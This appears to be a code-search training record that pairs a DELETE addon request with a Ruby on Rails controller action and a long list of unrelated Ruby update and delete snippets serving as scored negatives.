"def update_kubernetes_addon_policy_with_http_info(moid, kubernetes_addon_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_addon_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_addon_policy\"\n end\n # verify the required parameter 'kubernetes_addon_policy' is set\n if @api_client.config.client_side_validation && kubernetes_addon_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_policy' when calling KubernetesApi.update_kubernetes_addon_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_addon_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_addon_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def addon_params\n params.require(:xmt_addon).permit!\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n @api_version = ApiVersion.find(params[:id])\n\n respond_to do |format|\n if @api_version.update_attributes(params[:api_version])\n format.html { redirect_to admin_api_versions_path, flash: {success: t('app.msgs.success_updated', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n else\n set_tabbed_translation_form_settings('advanced')\n format.html { render action: \"edit\" }\n format.json { render json: @api_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end",
"def get_addons(app=nil)\n path = if app\n \"/apps/#{app}/addons\"\n else\n \"/addons\"\n end\n request(\n :expects => 200,\n :method => :get,\n :path => path\n )\n end",
"def update!(**args)\n @addon_attachments = args[:addon_attachments] if args.key?(:addon_attachments)\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @extra = Extra.find(params[:id])\n\n if @extra.update(extra_params)\n head :no_content\n else\n render json: @extra.errors, status: :unprocessable_entity\n end\n end",
"def update\n @hook = Hook.find(params[:id])\n @hook.update_attributes(params[:hook])\n respond_with(@hook)\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end",
"def update\n respond_to do |format|\n if @minor.update(minor_params)\n format.html { redirect_to :show, notice: 'Minor was successfully updated.' }\n format.json { render :show, status: :ok, location: @minor }\n else\n format.html { render :edit }\n format.json { render json: @minor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(action, **args); end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update(model, id, opts = {})\n name = model_name(model)\n do_restful_action(\"update\", name) do\n self.nagyo[\"#{name}/#{URI.encode(id)}/edit\"].put(:format => :js, name => opts)\n end\n end",
"def ext_update(opts = {})\n ext_api = ActiveExtAPI::StoreUpdate.new self\n ext_api.update opts\n end",
"def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n render_json_auto @survey.update_logic_control_rule(params[:id].to_i, params[:logic]) and return\n end",
"def test_update\n #Again the delete feature from ActiveResource does not work out of the box.\n #Using custom delete function\n puts \"--create a new account--\"\n new_acct = Salesforce::Rest::Account.new(:Name => \"test numero uno\", :BillingStreet=> \"Fairway Meadows\",\n :BillingState => \"NY\", :ShippingCity => \"New York\")\n resp = new_acct.save()\n\n assert (resp.code == 201)\n j = ActiveSupport::JSON\n @sf_oid = j.decode(resp.body)[\"id\"]\n puts \"New Object created: id -> \" + @sf_oid\n\n puts \"--update that new account--\"\n serialized_json = '{\"BillingState\":\"WA\"}'\n #http = Net::HTTP.new(@rest_svr_url, 443)\n http = Net::HTTP.new('na7.salesforce.com', 443)\n http.use_ssl = true\n \n class_name = \"Account\"\n path = \"/services/data/v21.0/sobjects/#{class_name}/#{@sf_oid}\"\n headers = {\n 'Authorization' => \"OAuth \"+ @oauth_token,\n \"content-Type\" => 'application/json',\n }\n code = serialized_json\n\n \n req = Net::HTTPGenericRequest.new(\"PATCH\", true, true, path, headers)\n\n resp = http.request(req, code) { |response| }\n assert !resp.nil?\n\n puts resp.to_s\n end",
"def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def set_addon\n @addon = Addon.all.find {|a| a.name == params[:id]}\n end",
"def update\n @lab = lab.find(params[:id])\n\n respond_to do |format|\n if @lab.update_attributes(params[:lab])\n format.html { redirect_to @lab, notice: 'lab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invoice_addon_line_item.update(invoice_addon_line_item_params)\n format.html { redirect_to @invoice_addon_line_item.invoice, notice: 'Invoice addon line item was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @invoice_addon_line_item }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invoice_addon_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @jetty = Jetty.find(params[:id])\n\n respond_to do |format|\n if @jetty.update_attributes(params[:jetty])\n format.html { redirect_to @jetty, notice: 'Jetty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jetty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_ext = UserExt.find(params[:id])\n\n respond_to do |format|\n if @user_ext.update_attributes(params[:user_ext])\n format.html { redirect_to \"/sjb/cj?openid=#{params[:user_ext][:wx_gz_id]}\", notice: 'User ext was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to \"/sjb/cj?openid=#{params[:user_ext][:wx_gz_id]}\" }\n format.json { render json: @user_ext.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n\n\n admin_edit_prep\n\n respond_to do |format|\n format.html {render :layout => 'artist_admin'}\n format.json {\n render :json => {\n :success => true,\n :\"#{@hook}\" => render_to_string(\n :action => 'admin.html.erb',\n :layout => @layout,\n ),\n :\"edit\" => \"true\",\n :\"admin-show\" => \"true\",\n\n }\n }\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def modify_with_http_info(bundle_symbolic_name, action, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: BundleApi.modify ...\"\n end\n # verify the required parameter 'bundle_symbolic_name' is set\n fail ArgumentError, \"Missing the required parameter 'bundle_symbolic_name' when calling BundleApi.modify\" if bundle_symbolic_name.nil?\n # verify the required parameter 'action' is set\n fail ArgumentError, \"Missing the required parameter 'action' when calling BundleApi.modify\" if action.nil?\n # verify enum value\n unless ['start', 'stop', 'update', 'refresh', 'uninstall'].include?(action)\n fail ArgumentError, \"invalid value for 'action', must be one of start, stop, update, refresh, uninstall\"\n end\n # resource path\n local_var_path = \"/bundles/{bundleSymbolicName}\".sub('{format}','json').sub('{' + 'bundleSymbolicName' + '}', bundle_symbolic_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = []\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n form_params[\"action\"] = action\n\n # http body (model)\n post_body = nil\n auth_names = ['basic']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BundleState')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BundleApi#modify\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update!(**args)\n @include_form_in_response = args[:include_form_in_response] if args.key?(:include_form_in_response)\n @requests = args[:requests] if args.key?(:requests)\n @write_control = args[:write_control] if args.key?(:write_control)\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def update_features(client_id)\n response = self.class.put(\"https://app.klipfolio.com/api/1.0/clients/#{client_id}/features\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n features:[{\"name\":\"public_dashboards\",\"enabled\":true},\n {\"name\":\"published_dashboards\",\"enabled\":true},\n {\"name\":\"downloadable_reports\",\"enabled\":true},\n {\"name\":\"scheduled_emails\",\"enabled\":true}]\n }.to_json)\n puts response.body\n puts \"Client's features were updated.\" if response.success?\n end",
"def update\n respond_to do |format|\n if @configattribmaster.update(configattribmaster_params)\n format.html { redirect_to @configattribmaster, notice: 'Configattribmaster was successfully updated.' }\n format.json { render :show, status: :ok, location: @configattribmaster }\n else\n format.html { render :edit }\n format.json { render json: @configattribmaster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend",
"def test_update_object_by_id\r\n\t VCR.use_cassette('edit_object') do\r\n\t\t cred=JSON.parse(YAML::load_file('test/fixtures/credential.yml').to_json)\r\n\t\t json = JSON.parse(File.read(\"test/fixtures/edit_specimen.json\"))\r\n\t\t id = json[\"id\"]\r\n\t\t json[\"id\"] = \"\" #id cannot be updated\r\n\t\t result=CordraRestClient::DigitalObject.update(API_URL, id, json, cred[\"uc_1\"])\r\n\r\n\t\t #check that the result is saved\r\n\t\t assert_equal 200, result[:code]\r\n\t\t assert_equal \"OK\", result[\"message\"]\r\n\t\tend\r\n\t end",
"def update\n @lot = Lot.find(params[:id])\n\n respond_to do |format|\n if @lot.update_attributes(params[:lot])\n format.html { redirect_to myadmin_lots_path, :notice => 'Lot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @lot.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @major.update(major_params)\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enable_alert_feature \n put(\"/globalsettings.json/alerts/enable\")\nend",
"def update\n @trick = Trick.find(params[:id])\n\n respond_to do |format|\n if @trick.update_attributes(params[:trick])\n format.html { redirect_to @trick, notice: 'Trick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @addon_node = args[:addon_node] if args.key?(:addon_node)\n @annotations = args[:annotations] if args.key?(:annotations)\n @anti_affinity_groups = args[:anti_affinity_groups] if args.key?(:anti_affinity_groups)\n @auto_repair_config = args[:auto_repair_config] if args.key?(:auto_repair_config)\n @bootstrap_cluster_membership = args[:bootstrap_cluster_membership] if args.key?(:bootstrap_cluster_membership)\n @control_plane_node = args[:control_plane_node] if args.key?(:control_plane_node)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @endpoint = args[:endpoint] if args.key?(:endpoint)\n @etag = args[:etag] if args.key?(:etag)\n @fleet = args[:fleet] if args.key?(:fleet)\n @image_type = args[:image_type] if args.key?(:image_type)\n @load_balancer = args[:load_balancer] if args.key?(:load_balancer)\n @local_name = args[:local_name] if args.key?(:local_name)\n @name = args[:name] if args.key?(:name)\n @network_config = args[:network_config] if args.key?(:network_config)\n @on_prem_version = args[:on_prem_version] if args.key?(:on_prem_version)\n @platform_config = args[:platform_config] if args.key?(:platform_config)\n @reconciling = args[:reconciling] if args.key?(:reconciling)\n @state = args[:state] if args.key?(:state)\n @status = args[:status] if args.key?(:status)\n @uid = args[:uid] if args.key?(:uid)\n @update_time = args[:update_time] if args.key?(:update_time)\n @vcenter = args[:vcenter] if args.key?(:vcenter)\n end",
"def update\n @add_on = AddOn.find(params[:id])\n\n respond_to do |format|\n if @add_on.update_attributes(params[:add_on])\n format.html { redirect_to(@add_on, :notice => 'Add on was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @add_on.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def update\n @core_nota = Core::Nota.find(params[:id])\n\n respond_to do |format|\n if @core_nota.update_attributes(params[:core_nota])\n format.html { redirect_to @core_nota, notice: 'Nota was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_nota.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_kubernetes_cluster_addon_profile_with_http_info(moid, kubernetes_cluster_addon_profile, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_cluster_addon_profile ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_cluster_addon_profile\"\n end\n # verify the required parameter 'kubernetes_cluster_addon_profile' is set\n if @api_client.config.client_side_validation && kubernetes_cluster_addon_profile.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_cluster_addon_profile' when calling KubernetesApi.update_kubernetes_cluster_addon_profile\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/ClusterAddonProfiles/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_cluster_addon_profile)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesClusterAddonProfile'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_cluster_addon_profile\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_cluster_addon_profile\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @addon_list_item.update(product_add_on_list_item_params)\n format.html { redirect_to @addon_list_item, notice: 'Product add on list item was successfully updated.' }\n format.json { render :show, status: :ok, location: @addon_list_item }\n else\n format.html { render :edit }\n format.json { render json: @addon_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend",
"def patch\n end",
"def patch(path, opts = {})\n request(:patch, path, opts).body\n end",
"def update\n # @user_trick = UserTrick.find(params[:id])\n @user_trick.update(user_trick_params)\n render json: UserTrickSerializer.new(@user_trick).serialized_json\n end",
"def update\n respond_to do |format|\n if @powe_factor_nozzle_x.update(powe_factor_nozzle_x_params)\n format.html { redirect_to @powe_factor_nozzle_x, notice: 'Powe factor nozzle x was successfully updated.' }\n format.json { render :show, status: :ok, location: @powe_factor_nozzle_x }\n else\n format.html { render :edit }\n format.json { render json: @powe_factor_nozzle_x.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @laboratory = Laboratory.find(params[:id])\n\n if @laboratory.update!(laboratory_params)\n render json: @laboratory\n else \n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @extintor.update(extintor_params)\n format.html { redirect_to @extintor, notice: 'Extintor was successfully updated.' }\n format.json { render :show, status: :ok, location: @extintor }\n else\n format.html { render :edit }\n format.json { render json: @extintor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n\n @client.redirect_urls << client_params[:add_redirect_url] if client_params[:add_redirect_url]\n \n @client.app_ids << BSON::ObjectId.new.to_s if client_params[:add_app_id]\n \n \n @client.versioned_update({\"redirect_urls\" => 1, \"app_ids\" => 1})\n\n if @client.op_success?\n render \"show\"\n else\n render \"edit\"\n end\n \n end",
"def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"def update\n @api_javascript = Api::Javascript.find(params[:id])\n\n respond_to do |format|\n if @api_javascript.update_attributes(params[:api_javascript])\n format.html { redirect_to @api_javascript, notice: 'Javascript was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_javascript.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rack_installation.update(rack_installation_params)\n format.html { redirect_to @rack_installation, notice: 'Rack installation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rack_installation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end",
"def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end",
"def update_rest\n @question_localized = QuestionLocalized.find(params[:id])\n\n respond_to do |format|\n if @question_localized.update_attributes(params[:question_localized])\n flash[:notice] = 'QuestionLocalized was successfully updated.'\n format.html { redirect_to(@question_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_localized.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def modify(name: nil, avatar: nil, channel_id: nil)\n RestClient.patch(@url, { name: name, avatar: avatarise(avatar), channel_id: channel_id }.compact.to_json, content_type: :json)\n end",
"def update\n respond_with []\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update\n # cyber-dojo.sh does actual [update]\nend"
] |
[
"0.6053457",
"0.60364205",
"0.591894",
"0.5825723",
"0.5813528",
"0.57991606",
"0.5745602",
"0.571238",
"0.5644848",
"0.56424874",
"0.5639468",
"0.5577133",
"0.55666286",
"0.554429",
"0.5539274",
"0.5536827",
"0.55263865",
"0.55183583",
"0.55123556",
"0.55123556",
"0.54741263",
"0.5474096",
"0.5471366",
"0.54703367",
"0.5466601",
"0.5444084",
"0.5437227",
"0.5395143",
"0.53943926",
"0.5391507",
"0.5390756",
"0.5390756",
"0.5369697",
"0.5360319",
"0.5354807",
"0.53362304",
"0.5304978",
"0.5300521",
"0.5295194",
"0.5288812",
"0.5283244",
"0.5279423",
"0.5278195",
"0.5272202",
"0.5254509",
"0.52516484",
"0.52507424",
"0.5236487",
"0.5236342",
"0.5229514",
"0.5223096",
"0.5214792",
"0.52106005",
"0.5195973",
"0.51922613",
"0.51911324",
"0.5190056",
"0.5187226",
"0.51828206",
"0.51801914",
"0.51743877",
"0.5154449",
"0.51518935",
"0.5150178",
"0.51427704",
"0.51388127",
"0.5135339",
"0.5134716",
"0.5126644",
"0.5124059",
"0.51148236",
"0.5114041",
"0.5106562",
"0.5104554",
"0.5101197",
"0.5097431",
"0.50963444",
"0.5092473",
"0.5091682",
"0.50867546",
"0.5084192",
"0.50830597",
"0.50776964",
"0.50767463",
"0.50751907",
"0.5071017",
"0.5059891",
"0.5059315",
"0.50574064",
"0.50566894",
"0.50563663",
"0.5050015",
"0.50497115",
"0.5043522",
"0.5041625",
"0.50386757",
"0.50370187",
"0.50370187",
"0.50370187",
"0.50370187",
"0.50328636"
] |
0.0
|
-1
|
DELETE /xmt/addons/1 DELETE /xmt/addons/1.json
|
def destroy
@addon.drop
@addon.save(isinstall: 0)
respond_to do |format|
format.html { redirect_to xmt_addons_url, notice: '卸载成功.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @addons_combo.destroy\n respond_to do |format|\n format.html { redirect_to addons_combos_url, notice: 'Addons combo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @store_detail = StoreDetail.find(params[:store_detail_id])\n @addon = Addon.find(params[:id])\n @addon.destroy\n respond_to do |format|\n format.html { redirect_to store_detail_addons_path(@store_detail), notice: 'addon detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @addon_list_item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @user_addon = UserAddon.find(params[:id])\n @user_addon.destroy\n\n respond_to do |format|\n format.html { redirect_to([:scaffold, user_addons_url]) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @extension.destroy\n respond_to do |format|\n format.html { redirect_to menu_extension_2_path, notice: 'La actividad se elimino con exito.' }\n format.json { head :no_content }\n end\n\n end",
"def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end",
"def destroy\n @extension_line = ExtensionLine.find(params[:id])\n @extension_line.destroy\n\n respond_to do |format|\n format.html { redirect_to extension_lines_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def delete_story_version(id)\n @client.raw('delete', \"/content/story-versions/#{id}\")\n end",
"def destroy\n @add_on = AddOn.find(params[:id])\n @add_on.destroy\n\n respond_to do |format|\n format.html { redirect_to(add_ons_url) }\n format.xml { head :ok }\n end\n end",
